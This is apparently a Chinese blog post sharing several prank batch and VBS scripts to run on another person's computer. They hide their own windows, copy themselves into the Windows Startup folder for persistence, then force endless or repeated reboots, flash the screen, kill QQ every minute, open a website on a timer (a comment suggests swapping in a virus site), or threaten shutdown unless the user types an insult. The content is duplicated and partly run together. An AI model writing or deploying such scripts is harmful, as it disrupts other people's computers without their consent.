cmd.exe /c shutdown -r -t 60 -c "
2013-12-19 21:29
351 查看
1、让对方重启5次
@if not %1*==h* mshta vbscript:createobject("wscript.shell").run("%~sf0 h%",0)(window.close)&exit
copy /y %0 "C:Documents and SettingsAdministrator「开始」菜单程序启动"
@echo off
if not exist c:1.txt echo. >c:1.txt & goto err1
if not exist c:2.txt echo. >c:2.txt & goto err1
if not exist c:3.txt echo. >c:3.txt & goto err1
if not exist c:4.txt echo. >c:4.txt & goto err1
if not exist c:5.txt echo. >c:5.txt & goto err1
goto err2
:err1
shutdown.exe -r -t 0
:err2
2、狂闪电脑屏幕
@Echo Off
Echo Exit|%ComSpec% /k prompt e 100 B4 00 B0 12 Cd 10 B0 03 Cd 10 Cd 20 $_g$_q$_|debug>nul
color 0a
:a
cls
for /l %%b in (1,6,7)do (
color %�
)
goto a
3、每隔1分钟就停止QQ 过程
@echo off
if not %1*==h* mshta vbscript:createobject("wscript.shell").run("%~sf0 h%",0)(window.close)&exit
copy /y %0 "C:Documents and SettingsAdministrator「开端」菜单程序启动"
taskkill /f /im QQ.exe >nul
taskkill /f /im TXPlatform.exe >nul
ping 127.1 -n 600 1>nul
%0
4、每隔120秒就弹出指定网站!
@echo off
if not %1*==h* mshta vbscript:createobject("wscript.shell").run("%~sf0 h%",0)(window.close)&exit
copy /y %0 "C:Documents and SettingsAdministrator「开始」菜单程序启动"
start http://user.qzone.qq.com/10001058 ::也能够换成有病毒的网站!不算恶吧?
ping 127.1 -n 120 1>nul
%0
5、无穷重启
Copy code
@echo offcopy /y %0 "C:Documents and SettingsAdministrator「开始」菜单程序启动"shutdown.exe -r -t 0
6、输入“我是猪”否则关机(vbs)
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""请在弹出的对话框中输入‘我是猪’并且点肯定,否则我帮你关机,目前倒计时60秒,有种就别说"" ",0
,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","【^(oo)^】制造"," 请输入“我是猪”并且点断定,终止关机倒计时",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0
,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"
@if not %1*==h* mshta vbscript:createobject("wscript.shell").run("%~sf0 h%",0)(window.close)&exit
copy /y %0 "C:Documents and SettingsAdministrator「开始」菜单程序启动"
@echo off
if not exist c:1.txt echo. >c:1.txt & goto err1
if not exist c:2.txt echo. >c:2.txt & goto err1
if not exist c:3.txt echo. >c:3.txt & goto err1
if not exist c:4.txt echo. >c:4.txt & goto err1
if not exist c:5.txt echo. >c:5.txt & goto err1
goto err2
:err1
shutdown.exe -r -t 0
:err2
2、狂闪电脑屏幕
@Echo Off
Echo Exit|%ComSpec% /k prompt e 100 B4 00 B0 12 Cd 10 B0 03 Cd 10 Cd 20 $_g$_q$_|debug>nul
color 0a
:a
cls
for /l %%b in (1,6,7)do (
color %�
)
goto a
3、每隔1分钟就停止QQ 过程
@echo off
if not %1*==h* mshta vbscript:createobject("wscript.shell").run("%~sf0 h%",0)(window.close)&exit
copy /y %0 "C:Documents and SettingsAdministrator「开端」菜单程序启动"
taskkill /f /im QQ.exe >nul
taskkill /f /im TXPlatform.exe >nul
ping 127.1 -n 600 1>nul
%0
4、每隔120秒就弹出指定网站!
@echo off
if not %1*==h* mshta vbscript:createobject("wscript.shell").run("%~sf0 h%",0)(window.close)&exit
copy /y %0 "C:Documents and SettingsAdministrator「开始」菜单程序启动"
start http://user.qzone.qq.com/10001058 ::也能够换成有病毒的网站!不算恶吧?
ping 127.1 -n 120 1>nul
%0
5、无穷重启
Copy code
@echo offcopy /y %0 "C:Documents and SettingsAdministrator「开始」菜单程序启动"shutdown.exe -r -t 0
6、输入“我是猪”否则关机(vbs)
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""请在弹出的对话框中输入‘我是猪’并且点肯定,否则我帮你关机,目前倒计时60秒,有种就别说"" ",0
,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","【^(oo)^】制造"," 请输入“我是猪”并且点断定,终止关机倒计时",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0
,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"
相关文章推荐
- Failed executing 'cmd.exe /X /C ""C:\Program Files\Java\jdk1.6.0_38\jre\..\bin\jarsigner.exe"
- Visual Studio 2005调试程序时提示"生成“cmd.exe”时出错".
- 解决VS2008中 生成"cmd.exe"时出错
- 关于"生成cmd.exe"的解决方法
- Visual Studio 2005调试程序时老是提示"生成“cmd.exe”时出错".
- VC2005中 提示”生成"cmd.exe"时出错 “
- CustomBuild:拒绝访问。 error MSB6006: "cmd.exe" exited with code 1.
- CustomBuild:拒绝访问。 error MSB6006: "cmd.exe" exited with code 1.
- OpenCv编译错误-"cmd.exe" exited with code 1
- CreateProcess("cmd.exe", "/k echo hello"
- VS2008 C++编译中 提示”生成"cmd.exe"时出错 “
- VC2005中 提示”生成"cmd.exe"时出错 “
- zendframework搭建为什么cmd窗口是这样的,"php.exe"' 不是内部或外部命令,也不是可运行的程序
- error "cmd.exe" exited with code 1
- VC2005中提示"生成cmd.exe时出错"的解决方法
- 完美解决opencv3.0 无法运行 "rc.exe" 无法打开kernel32.lib
- 编译选项导致死机(Unaligned userspace access in "XXX.exe" )
- 如何消除VS 2005中 Project : error PRJ0003 : Error spawning 'cmd.exe'
- VS2005发布网站问题及"aspnet_merge.exe”已退出,代码为 1的错误
- rovio RegisterSubCmd("mcu", Config_ControlMCU)解析